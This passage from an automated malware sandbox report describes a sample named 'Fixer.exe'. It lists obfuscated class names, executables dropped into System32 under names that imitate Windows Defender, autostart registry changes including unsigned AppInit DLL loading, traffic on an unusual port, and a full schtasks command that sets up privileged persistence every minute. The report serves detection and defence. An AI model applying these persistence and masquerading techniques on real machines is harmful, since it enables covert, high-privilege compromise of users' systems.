Source: Defender.exe.3.dr, prnQkWxyXENbjeKZECPLhTnn.cs	High entropy of concatenated method names: 'RauDLZwfTJkJZrHXrU', 'ZSRKucRvGrMVEzoSwCuMeRv', 'UaPeKInqzwNJAP', 'btdqnHofJl', 'KVwHLIWBqTMnlxDVV', 'meRgBTSBbIIf', 'GtlxSurkFnzZhPGssjlSXXHH', 'TcpKhOsKXFtAAlbeXgr', 'GUELIiYWMYjldTz', 'CaYZGPJJMrryKoz'
Source: Defender.exe.3.dr, MWYDrsjTSJqoS.cs	High entropy of concatenated method names: 'qsTFEGzLlzHCnRKh', 'kVZucnSXyOYrEpBhFA', 'TrOFMAkZvpESJk', 'GTtYNEBhFsaThJGUiRwN', 'VQMtsNXiuwPGVjiogmJS', 'INmgCPpUWBMXA', 'DheVqezLvLMMaYgBemvYM', 'aMpyiNYvCj', 'yeGBRSoKxRaUppQo', 'WabbYAGRfsvlnzId'
Source: Defender.exe.3.dr, ISaCjfIATBL.cs	High entropy of concatenated method names: 'gQsGvyIMyhFUMUyq', 'HdBWAJnBgCIBRMzoDmeHq', 'sdcEaNFqOgRPMYKzgHF', 'OwAKgUGgIiT', 'valXtviawqnbjCAadEFX', 'mRvdSXFGZh', 'NjTlnnGkYfHXIYaeUfC', 'cwgJIpuaYcT', 'JHOAjOnqxVyWeumEr', 'lbXcDRCKcxtfMwMkOAKauGs'
Source: Defender.exe.3.dr, JMLcPxDFGCfojQLRgfkS.cs	High entropy of concatenated method names: 'TgKyLZaRtKtJzsQ', 'gtWFAthDVcgaJGHLH', 'qfBeDYcoNslfkY', 'sAmOMSZyGciszHmCiBjBkXBp', 'dMgpRqsIfRFVxvxRguBVfdgap', 'eAWKUyxQjGt', 'plqkTqghkFlk', 'dAUSzfFAOMr', 'VxHYgLrXXFQevJqtISYPm', 'qydykanIaYy'
Source: Defender.exe.3.dr, TJTvwBaIBQS.cs	High entropy of concatenated method names: 'fwlmloNajoHIlHgMA', 'HXgWEcAWhAJvnIgLMZ', 'mxTiaUeBKKoUNIaIvrIrJm', 'GMQoBycZvHXNeo', 'FCaapLtfwmNzkTEhgAiMWK', 'dDiktMpuvUGlFRixDNg', 'BozrFqarNvbSvWwX', 'azTGsRfeizPx', 'eyppeoDqeC', 'yhAsopjULqcNNOJXTNXrK'
Source: Defender.exe.3.dr, UhBFJdricqufqaojV.cs	High entropy of concatenated method names: 'ZluADFKYEZvUcgzYxWc', 'LcxxXJKzdEkHCbwweT', 'vvkYRmHNOfRcRHuSwnw', 'tuLvAonSBjDtdtggbE', 'KQwwTLbTAIJAIiqjBko', 'dzpMecXzYbNqsHlMx', 'rjYVnKsjuLmJewmfCLajSqncv', 'uSHBwemDsEzHLfUuh', 'MOwREMFalOfBw', 'aOQZctOIXaEhguzvPXIaPgcc'
Source: Defender.exe.3.dr, WVihDmlAmRFUAdyEhT.cs	High entropy of concatenated method names: 'lcXdxSUGGnfVPqVnN', 'dNfzaclAov', 'DKYDOEzzsl', 'jfeNHvpeeqlEDF', 'mCurxeYGDcGRBlWnUOOdzUN', 'qLKRJRGUxVSxFBok', 'ZbkBdnsICRppc', 'SoYAmUHwmWlTgTYiTaeSatd', 'MXRIHAQfVczIgABQ', 'dpNPKHYjTxO'
Source: Defender.exe.3.dr, KxxSSIzaCTUHBCvRNLqyDXZ.cs	High entropy of concatenated method names: 'TgaEpLqydIyuWCaHNS', 'mhcftdlvvpWnmYUymhulqdVe', 'DBvKkjllbnvrAhbEPuJHUMW', 'DoZThFJLym', 'cqlKFkCKkYHlzTgbiMWYrf', 'GwJSDWdksNryOejDXSBlcvDZ', 'AeaycOxxwe', 'wRyoHoPXIUSwyJ', 'GqtQKsjSDrClPzuBRzVHFUMdo', 'fRfhhcpdIHDfTVMzuwE'
Source: Defender.exe.3.dr, LORYroboCXxqjpTmhsXqFkvZK.cs	High entropy of concatenated method names: 'ArLDvgByOLypWkkSBihjSpzIh', 'sVsaSsNtokczcRpk', 'HnrWmGmiNsaeLrDWco', 'GntGbcwzpCGPthOrUpx', 'OFrFznPcsZc', 'cJemOhQupG', 'gGchxxzjgeiQBwoGoNUHQZGnk', 'bdmZCQIHLyX', 'RftpwVtscqZ', 'bgVzgHzpwtVVwHbSIt'
Source: Defender.exe.3.dr, VoFTVipipkK.cs	High entropy of concatenated method names: 'VMantYKYfAnacPRV', 'DQtAcwiaBZQaoUKaKqmcuoiCw', 'VBfrFRUkmUQUsPsMs', 'uxqfdzRZesDOhrECbhuJTzFEi', 'JqyWkhvjIzjpXfagmbhXmZ', 'pnKSjfvrmxnpaaI', 'VSyjETmJOjmM', 'XKDkZJjZPMDNHwrkpzF', 'SLEoqLVAADzsiNPmkFB', 'YjGGuVxXvZYkgiL'
Source: Defender.exe.3.dr, tisnIiXyTCXvDDO.cs	High entropy of concatenated method names: 'iJnrHhQxpVf', 'afkSbpIpfAFPRx', 'noTZewWYBUkKLSu', 'nCHXoSFTOuYXiEXaKQdIWwBTE', 'ixrewXlCRNJa', 'VizKjXzqwwJAvplcqA', 'ThjHbjxAmgmKQjnHaWlSvE', 'lAieBizZaMVHvlb', 'blXMJJmtQIhLFFisO', 'xGtFwRnGMyucrWz'
Source: Defender.exe.3.dr, gBeJmXXsXHezdPh.cs	High entropy of concatenated method names: 'eUDcfhQyzzyEOUmAxDQN', 'lmsKaeQoSgVylMzBA', 'ylfJmZSeDVdBZyULthLSE', 'zJhSdFcHmyx', 'RbrbzTrwbvLRHWe', 'TSqihvmVcUvMBwjeEI', 'sUSisaIcEyQLGbCoUIOk', 'pVzfXfueLgNzqmFBk', 'HYSiXLJplyIPVpYJDzSCVvNxs', 'DMQpwnjLGLEHynW'
Source: Defender.exe.3.dr, EwsvuuRydySCmvfwUdTl.cs	High entropy of concatenated method names: 'LvCpvdStvFLfKcjkzIm', 'OTwhHeTfhdsyCEsB', 'FyRyFitGWcSvLUVgQQryVi', 'JmLRMNcFjivuJUW', 'lDakBAkVJWRm', 'BDUXhIMuQgtuWjNQaMLtHF', 'uxPICpIqvpSiebWbMKOUWhpf', 'XFiKFsgvIZZSAJE', 'qxEEAioEkzjt', 'ZNIkqfjZfpxlmWCwJMAJM'
Source: Defender.exe.3.dr, QEEFRJhvySTxMB.cs	High entropy of concatenated method names: 'aDNCrkYOApwXNfzcDoeqHTo', 'oCobulrMvsWPQUkcspDQVmTP', 'qPIhKkHPTNpwwUPxjcUJjMjEB', 'SPXYCiYcDViflIPAwGugvUoSl', 'zGPegEfLRrrvL', 'YTQtPErLujPc', 'VCxaFmsjSNZp', 'zZqXIBvmIbEvDhSnLgO', 'uKIUQmISYFG', 'DlFRVWaOgWNasfBFZvGhKmi'
Source: Defender.exe.3.dr, jZWTVmmWOyYUMMRcqrgzxt.cs	High entropy of concatenated method names: 'ebNNwrzjWnUktguoiZGMylOI', 'MzLyzOspersHZpfP', 'CgscXvwDxaqhwt', 'EtksnlWZbuPoC', 'JjbxjihQroDOuBnCHhy', 'CfFmbefHRhIGuXnrOkM', 'foCvoYqUlZmiq', 'dedoVFDazJgwUXNwn', 'UoAOcJxCnKWrvaQXt', 'NZOHHEpsPsET'
Source: Defender.exe.3.dr, jDcxkJFhdsO.cs	High entropy of concatenated method names: 'ZVTlUGzgCUxzHTc', 'pLyoVESOrBkIzZvCXj', 'MjNkMsfBPGdpQhesSuawUD', 'tSVqgcZubYd', 'rcalvpCDHNMTbV', 'dIxnVJfTSqCzYpMCRmRm', 'rIfGRAwfFCOKvw', 'dlIGMIHvsqeNvLvgKjRlA', 'gDJinMnnodsaYge', 'ZHjMmPnmBUKWD'
Source: Defender.exe.3.dr, VgiXrAmmXM.cs	High entropy of concatenated method names: 'RlSpcTxUImVHRJThXP', 'UFtJFrybKqoQQdWbgICKPSM', 'PAZQNYTOWgsWXcMy', 'rneUWEdvinYVFcBsZtF', 'iOmWZtklADDvEfX', 'izsvvVekutRDrdyiHfw', 'BHvdTruejdQZEVJaBJW', 'jBcfbguXFVoYj', 'ebEPcDbAAQcrzVTXhxJjtzeP', 'mxWYOospJq'
Source: Defender.exe.3.dr, EiphzSFywDsQvfJ.cs	High entropy of concatenated method names: 'UguORtUtzui', 'dkKlBYhllU', 'PQlvpndBHrv', 'ulpsNbUzFBfoNQWBjyB', 'AZfxgyeGWsbIhFQA', 'fUKRUAOlwiYQb', 'IqbeUFrMPwNdNZW', 'HAWpDeqCfYQL', 'QGpuZSSGbwuUTFODrnoPp', 'YumPezZyvofczqYioH'
Source: Defender.exe.3.dr, nkKpBsREeeBrrJgLniKFn.cs	High entropy of concatenated method names: 'uPkrNGBgDoNjgrSgOmrox', 'tJdcdXdhIRyApvFJfLCy', 'NeIdpsHUXOypNVbNkc', 'CWfvlfBXaEHglzFgfUz', 'eWMkDzLcZdwuiYvEhiXynU', 'QQiNpHpwtlozgKuslTZ', 'xINxNDBywxBAJqvUUmWUkgDJu', 'PumplfOWiICkzlGrA', 'jnpqOZXzwFOQFDDpoHLGLWmn', 'nSkmkNsgHZHi'
Source: Defender.exe.3.dr, DDkXafHupjcDyMCFpVaefrMq.cs	High entropy of concatenated method names: 'qCGRdOsVhMwopUbX', 'jnSGDElovbagPMrtBj', 'BdLVjhRzGQzBzHCIZY', 'nyUdhmSpSAEunk', 'WzXRjZmEfXvZaZNDSVmwdgzei', 'ryzBWMRAkCkHopA', 'pFlNsPEwmZBoUpAtjShnEdBj', 'aoKTKgxvjqts', 'YbuDOwKdfuCrXWHN', 'LECFRbtdbtDslzGBOtFtAP'
Source: Defender.exe.3.dr, OLCRwsTtwxxSGZuMngxi.cs	High entropy of concatenated method names: 'STWcrGlCPAYMVdXTCakSo', 'EXEssEuclOoxwsgoE', 'hrgwYFkwWskGMPwuOyYzO', 'HnPKYYhfmOVykwrHyyHw', 'BreCYBCdhQEYAjshOhMP', 'FWkNfzCGAZsRAFwkIzWfBFx', 'akNzakQugqwUtot', 'zXhqLGzdww', 'hqkpAZTnumC', 'PJylKJbrTFUfeXGFTkj'
Source: Defender.exe.3.dr, JqoyJMwYkYeSSSLBCERtJfL.cs	High entropy of concatenated method names: '_003CRun_003Eb__1_0', 'eiLcBLWnxSzTbooKAH', 'jdfmOziWNDFxt', 'shTrcPinsNklrCmXVRYOlwywx', 'TpJjrUFVjGVTYscvlSC', 'IfkphnZeMviWtzvseI', 'PfVTfCCtglpKgtVV', 'FTBDubJoYyZZwjRdwmwmME', 'fustWkCcYdHnKGSUEMfHE', 'UkBYhkHYicAhWJCimD'
Source: Defender.exe.3.dr, WpAqmEEzEwNIXIzRzOYiu.cs	High entropy of concatenated method names: 'xCQxqDhktAiNXUabbXDUuhnau', 'tGJXUzpZsyZoNASUCMZJk', 'rXnAeZCPPqDFKaaVgjX', 'ccBmJDCafaAkANPljUVQWcijl', 'pstggqmlDOVB', 'aXcjopSFwKplLNHcztSABNK', 'zuKyOKBQidutustuTCsh', 'uUcfJDVDApN', 'ukueUqmJZDiTO', 'GzXhyUcdEZiTEGfMhohg'
Source: Defender.exe.3.dr, avfHckAjbIOftjcvbDvZXrf.cs	High entropy of concatenated method names: 'YzCIvbnXWQBODZHdYFCd', 'NKwQlKHrQVjPyjchr', 'zUrIdiNsBvRASoBJKpGrKQ', 'fFvSzEqevhRCJgEhNCs', 'LZQDuOpYnbzd', 'oLDhQOoLRVSAlscGHspR', 'UGprXkORrUhn', 'UVAzxnEwuDxCIVNR', 'jKMaTENqsdZuZBlNSYH', 'IuBMMaCspOP'
Source: Defender.exe.3.dr, XOWrfubIFwwWSRBCkfv.cs	High entropy of concatenated method names: 'GzXbQMXAGN', 'mwxeQIuYrPpc', 'GQHFLAVEzNYYrvaTWaCrnJZ', 'mltpHDkRXfUAESpG', 'DniZGZMUFVonkExqmSZGgxv', 'HBMaaOElvzkVqvgMhVB', 'wdmaXKSzPzMGrFRFNlur', 'DrkUbzqmNZKwMhd', 'lDQvEVvmdeleaz', 'aKSslBFwKbMBaBKeYorbievL'
Source: Defender.exe.3.dr, UACsUQnggztSoYk.cs	High entropy of concatenated method names: 'VdSINmzcYlFUDFbLWy', 'fqUxahHlBoZLppD', 'uGVDiBZTjLSdbYhvpFF', 'AgsaFAyozZPezcgFBvkeR', 'OOOdKcHeWj', 'QcOOuxhClUJvodzrcutVa', 'zRdMbqVhVDgujzRq', 'yCbfgETazKke', 'cNJvcwliVrhEyGPuuzaln', 'TzpSNJlcfkClbSkoWUFYdLub'
Source: Defender.exe.3.dr, JfAFbFqmPAXuSFACrag.cs	High entropy of concatenated method names: 'RkDnIXrgyetV', 'sVHoXFlXRvG', 'epDDikiPXN', 'cMxDNKolHBpajsOTV', 'kzpwkehncPuKFgfxebaBXNcK', 'ApPTLUQNUnNjgcSWaiYqwwIum', 'msUXXWfxkpRTRu', 'xktSOyzIexfETCEgVhx', 'YsxQqEirdEGQdNzLPcYO', 'kpZrSLvgIwlTMEEnccKQHe'
Source: Defender.exe.3.dr, fxrViPtroaCbyONKrcHijo.cs	High entropy of concatenated method names: 'cGXWrGRrNpktfJDBwyi', 'MCfobByeOtYEqSPP', 'tBkWiomOVhBoa', 'kBSSZbjvpHncU', 'gCNtoqDwxzdOsZF', 'xqoioCXzpobxMdjF', 'ViSUHzkHnEToLiJp', 'JxolcdfNDAPGjTPY', 'XrnzqqEbAxDKeGRHrTmQisEn', 'DzUADkEQRKS'
Source: Defender.exe.3.dr, GprCBzVajSFPhcvMz.cs	High entropy of concatenated method names: '_003CPatchMem_003Eb__0', 'WYpgNUnjwEYMhBcgWYlMeqbwj', 'NMmrnMiPoxTKxWYciysWlr', 'QuyKVUgxswZG', 'wFQLeSMeNMbPoBIdEM', 'WEVxpCMvIA', 'NYQxfchgsTfdDiXvhS', 'UokWjXaHbJRXEemyC', 'rWfvXTjrbSPRGfcjfldCgaFVG', 'bwbyQjVwqwtZQQnsv'
Source: Defender.exe.3.dr, AgGuxbclsJDKUXCF.cs	High entropy of concatenated method names: 'PgBtGwUrqzqNZCUoKeqOHE', 'uciUipnmdWskfbbukmD', 'bmYTGiVKsMrg', 'AGRXclBCMNqgS', 'NikFbDwDHDPNAUcuQfMZeU', 'XHABEPZhmotIb', 'GPcOxzNHOlha', 'wLTsKsYMybBrniW', 'ZGMAlKPjKgVwPtOUex', 'VTvjPDvIobXKQreofUZ'
Source: Defender.exe.3.dr, NCWTJiYmOo.cs	High entropy of concatenated method names: 'fdXRNOXStt', 'qgnMDAxeooZwPsjKWKTw', 'HeaGYfIPuIRJgLpfweYojzNG', 'HZdEBIZwljCMFeUpPufH', 'jgteZfvHMIRUZRGeLtArN', 'cnSrADyUFhyuYskZbceoZalr', 'NOLEAfPZoEGMifrIrDjW', 'tOumSXNYVBCaKnpnQEC', 'UkodNsxnfhXBVBUzRSiH', 'ASCDlYsCVb'
Source: Defender.exe.3.dr, qmajBmcCnsP.cs	High entropy of concatenated method names: '_003CCheckWMI_003Eb__4_0', 'akoWoQJegFQzWGz', 'sLLtHQapfaLkpD', 'GhBLeixaxKaECT', 'FDgyYJtcIK', 'yqNEYpdrKSVuU', 'ukOigLYWdVIEqeEMEsBU', 'HMsllbLJjkILQeYfubylc', 'swUyynxOdtAxn', 'VxvjMMtlztaAfhKQC'
Source: Defender.exe.3.dr, JjNonPeEqnKrhUWFcwVNuQ.cs	High entropy of concatenated method names: 'HumVdnzFHHCRoAp', 'svjgfSSfzqHTWdUvtQGtB', 'ARrhDkeCiEmKcSLjnocHVmgf', 'dmHYXtvlxuSoyPhAxICh', 'ACkJcSRtYNlMy', 'yXeKLqZfXsupYuHYed', 'WcjXOvberZhhczpjdSyrrmVer', 'ntXmAjHObxOzPP', 'MiFqKSpjKeFflGkGFfAIh', 'EYyZNYrUdCjH'
Source: Defender.exe.3.dr, XbJdqTwlJhtvvHI.cs	High entropy of concatenated method names: 'cQQnOSFXJkniwgH', 'CtFVrLKWlIexEaFmY', 'XIDtCEWlTGfNocZTtBCm', 'QGuBFnHTjfAKNJzVJr', 'yFrEqYTCXk', 'DklHGCJsxQPSkbeDbSax', 'JAoVYBDdlljjCbQYGCxMQ', 'kjnHdLUsjxmwujwliAFPLefi', 'AOfUQdlTPQFhRYrItCmw', 'ggbUUwGBiGD'
Source: Defender.exe.3.dr, TpneWzinmRLNNvomkAusssN.cs	High entropy of concatenated method names: 'IuRdXCfNaLeGuJEFSv', 'zBBLzbjMHFiAa', 'LVbhFPjlxnBRhsbwpa', 'gOaHiRBnqYIrKDfincXNfcODN', 'itrkLPIDuNlOt', 'DctNpwrNCJoTRM', 'EzXtYjIvFMsiHJS', 'ZjHKDiBNRSUriwsyvlpNOUUgv', 'oBwNkEkMPjJCOVyJcFO', 'NITunVTEjEPbPXu'
Source: Defender.exe.3.dr, MtweeSvrtsEjaEHkGcqcH.cs	High entropy of concatenated method names: 'DFiwVYdhZUOx', 'YRQgkFOHierWZwABKbbd', 'prwiwWNMSkU', 'WiSpwGWsAVaqZwccgP', 'nUcjaUxnjBuPuXuCNhLNUEk', 'TQFIAukgDrh', 'uzsVyTnrFFfT', 'tOuUBXikZPJPpmpQNMD', 'mIOpqPBQtyOkldHfpMBTyX', 'jjGJgybrtcetlAFe'
Source: Defender.exe.3.dr, vFtGvLdAuIQGYPbHNoGtunigD.cs	High entropy of concatenated method names: 'BohTfzMQNzNDrnTSGfvSzctK', 'kQyFHWNDAJoSadRuICctK', 'SabgDkkwZvXjuiNKFdAzqdeAg', 'eYraQRZnxY', 'aScSDktvqiigxwzsKGo', 'bABGMFyeFKHlpgfKXhntlEpT', 'rteRYOhIcCZRWGymOqgbxrQR', 'VdTvKWLhKVLUNhvZcMeFtB', 'oHXOIsyzcMdCkONSfO', 'LkmRAIkBVfmMuUCeomICo'
Source: Defender.exe.3.dr, OtMRnVOsGKHl.cs	High entropy of concatenated method names: 'OaJVtSKEyPaxQqAqb', 'AYiHvMpChJPGtAijBpNMbGp', 'PelUWeNCfT', 'MqHfxgrkBosV', 'OhpLdOPujgrRaUfDv', 'batVtuKPgkWnNX', 'LFppCYRDMdKP', 'XMLhFbQvgtnuBN', 'fYvSTJOOqNtoKWgrjexs', 'YohmHMfMBuBLjYoi'
Source: Defender.exe.3.dr, ueHNMdjwjYBvgC.cs	High entropy of concatenated method names: 'KVvAMKuWDzYAKXvnmxTAjYSYH', 'HXDGRMJZqUXHDFzIEOodZY', 'lOxMCNlCXtXCXSwiLrkgaP', 'uOBbUEkdOjjSrTzGLFR', 'OfCbpHgcmo', 'NWjDyBlQynPJToAEOMkYbJO', 'OMZmMXIrasVwIQB', 'aoSMyWjnpCR', 'CPPDHSombzDbfX', 'bSDwyLeymqBSsclwKGsp'
Source: Defender.exe.3.dr, WYdQIVjMOZZzFKSg.cs	High entropy of concatenated method names: 'xVmIWWPGmNsQwHeZFZzsKD', 'NuZjXgamrjtndQMzBOKVIqvS', 'vZAlToetaYNwnsa', 'aAhCTAJsZydAh', 'WzHRbHaBYuPtDryDNVjJi', 'NPyuPHLUKdMnCOpWQTkZbmn', 'xSuWkIRYEflrShrTp', 'jlhPokNqFQZ', 'ObbZxxNpjCMn', 'WcxEjbQkXCCrhdJIuCAz'
Source: Defender.exe.3.dr, sDxpENeYXPsYVcYDBrZBiKvaq.cs	High entropy of concatenated method names: 'lMRPIUZJwfRESTctpRH', 'OqlcEVUlOiIWzabSHIGXy', 'gslwZGZpUeTDP', 'apKnAnvOXvErrJmgKjnCKsrI', 'NMYNeCvKgrRyTXLQRVpshPPD', 'TjQNkhxCqmbWAssIhLSUir', 'clsXBPPywVaKT', 'xvJUwdkjuRcxjADxjFc', 'obsKwmboeAaiZdjPI', 'mObsrauEgP'
Source: Defender.exe.3.dr, fIEdZvXcpYAipTNh.cs	High entropy of concatenated method names: 'EgSyrpMyfurJMCyrIsjumlKCY', 'AfbyDBzvzsXWnTre', 'BgSdVCqgadnKTVPaVohXhqp', 'RCFUmFQCIrJVF', 'edkScYMkfXHwReKGLKrILSw', 'tVNkCcLuVcJDnPOR', 'hXiMpnlsBfzewhMgNYHLbiDLN', 'pUGTwwZKevOKEibsAw', 'PYvxWZqGGWyTW', 'OxRliiDElDQSDUZjjhHzxCuWk'
Source: Defender.exe.3.dr, huigHuEqBhxV.cs	High entropy of concatenated method names: 'xSzRXLdUGGB', 'ZKUsvmanhRBy', 'vZyEKNVIgqk', 'NjhhmbnhYi', 'jyFuXiXfRAOclfQwtfzt', 'jqhDsFvqNReNpOGE', 'yaILTBzHwBVeuCZ', 'PzHYqfccpDjjPvRJsagYlI', 'phwwEZLTPFYaOy', 'cTxgVQRQrAkMmUVADGj'

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Executable created and started: C:\Windows\System32\Defender.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Executable created and started: C:\Windows\System32\xdwdSecurityHealthSystrays.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	File created: C:\Windows\System32\Defender.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Fixer.exe	File created: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Fixer.exe	File created: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	File created: C:\Windows\System32\Defender.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe			Jump to dropped file

Boot Survival

Allows loading of unsigned dll using appinit_dll

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Registry value created: RequireSignedAppInit_DLLs 0

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Userinit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows LoadAppInit_DLLs	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 1911
Source: unknown	Network traffic detected: HTTP traffic on port 1911 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 1911
Source: unknown	Network traffic detected: HTTP traffic on port 1911 -> 49749

Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
